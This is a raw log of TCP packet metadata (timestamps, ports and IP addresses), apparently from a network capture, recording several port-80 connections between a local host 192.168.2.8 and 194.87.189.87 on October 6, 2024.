Oct 6, 2024 21:27:38.112229109 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.113451004 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.113465071 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.113476992 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.113509893 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.114552021 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.114564896 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.114578962 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.114625931 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.114650011 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.115884066 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.115900993 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.115914106 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.115964890 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.117083073 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.117100000 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.117120028 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.117158890 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.117197990 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.118473053 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.118486881 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.118499041 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.118535042 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.119548082 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.119560003 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.119573116 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.119592905 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.119626045 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.122505903 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.122519970 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.122534037 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.122561932 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.122571945 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.122581005 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.122613907 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.128096104 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.128165960 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.128164053 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.128221035 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.128257990 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.128267050 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.128293037 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.128328085 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.128361940 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.128372908 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.128422976 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.135669947 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.135731936 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.135765076 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.135818005 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.135824919 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.135879040 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.135915041 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.135926008 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.135948896 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.135982990 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.136065006 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.145792961 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.145824909 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.145878077 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.145895958 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.145915985 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.145950079 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.145984888 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.145998001 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.146019936 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.146034956 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.146055937 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.148111105 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.151320934 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.151355982 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.151410103 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.151412010 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.151469946 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.151516914 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.151524067 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.151560068 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.151596069 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.151628971 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.151640892 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.151673079 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.156702042 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.156764030 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.156797886 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.156837940 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.156850100 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.156883955 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.156932116 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.156935930 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.156970978 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.157006025 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.157020092 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.157087088 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.161863089 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.161936998 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.161989927 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.162025928 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.162055016 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.162060976 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.162067890 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.162096024 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.162132978 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.162174940 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.166856050 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.166887999 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.166961908 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.167041063 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.167095900 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.167129993 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.167145967 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.167165041 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.167171955 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.167221069 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.167254925 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.167265892 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.171749115 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.171808958 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.171840906 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.171875000 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.171897888 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.171920061 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.171955109 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.172003984 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.172080040 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.172080040 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.172092915 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.172281981 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.175913095 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.175951004 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.175987959 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.176009893 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.176034927 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.176042080 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.176078081 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.176114082 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.176136971 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.176150084 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.176182985 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.180162907 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.180198908 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.180258036 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.180264950 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.180310011 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.180346012 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.180357933 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.180381060 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.180416107 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.180428028 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.180452108 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.181077957 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.184422970 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.184458971 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.184495926 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.184524059 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:38.184525013 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:38.184582949 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:42.363854885 CEST	49747	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:42.368721008 CEST	80	49747	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:42.368872881 CEST	49747	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:42.369002104 CEST	49747	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:42.369024992 CEST	49747	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:42.373951912 CEST	80	49747	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:42.373975039 CEST	80	49747	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:42.373986006 CEST	80	49747	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:45.074835062 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:45.080348969 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:45.080674887 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.082334042 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.087366104 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.087433100 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.087595940 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.088781118 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.092780113 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.092832088 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.093636036 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.093647003 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.093662977 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.093672037 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.093681097 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.093714952 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.093729019 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.093736887 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.093743086 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.093767881 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.093779087 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.093787909 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.093795061 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.093822956 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.093858957 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.093907118 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.097763062 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.097847939 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.098571062 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.098582029 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.098611116 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.098619938 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.098625898 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.098643064 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.098647118 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.098674059 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.098699093 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.139650106 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.139777899 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.187460899 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.187520981 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.235785961 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.235831976 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.283433914 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.283503056 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.331551075 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.331707954 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.379569054 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.379641056 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.432158947 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.432223082 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.479564905 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.479729891 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.527656078 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.527869940 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.532533884 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.532757044 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.532780886 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.532864094 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.537918091 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.537938118 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.537992954 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.538016081 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.538027048 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.538053989 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.538074017 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.538094044 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.538183928 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.538223982 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.538233042 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.538234949 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.538243055 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.538265944 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.538269997 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.538275003 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.538300037 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.538300991 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.538335085 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.538338900 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.538352013 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.538357973 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.538381100 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.538399935 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.538433075 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.538636923 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.538664103 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.538691998 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.538729906 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.538759947 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.538765907 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.538808107 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.538820028 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.538840055 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.538886070 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.538887978 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.538917065 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.538940907 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.538965940 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.538983107 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.539014101 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.539036036 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.539061069 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.539086103 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.539144039 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.539196014 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.539223909 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.539253950 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.539268017 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.542978048 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.543030977 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.543056011 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.543092012 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.543340921 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.543428898 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.543529034 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.543555975 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.543582916 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.543608904 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.543621063 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.543646097 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.543654919 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.543667078 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.543683052 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.543709993 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.543711901 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.543730974 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.543736935 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.543745995 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.543768883 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.543781042 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.543816090 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.543860912 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.543888092 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.543911934 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.543926954 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.543982983 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544013023 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544034004 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544053078 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544099092 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544142962 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544147968 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544187069 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544189930 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544218063 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544236898 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544244051 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544256926 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544291019 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544300079 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544326067 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544346094 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544352055 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544373989 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544389009 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544399977 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544415951 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544436932 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544462919 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544462919 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544491053 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544504881 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544517994 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544538021 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544544935 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544563055 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544570923 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.544595003 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.544596910 CEST	80	49748	194.87.189.87	192.168.2.8
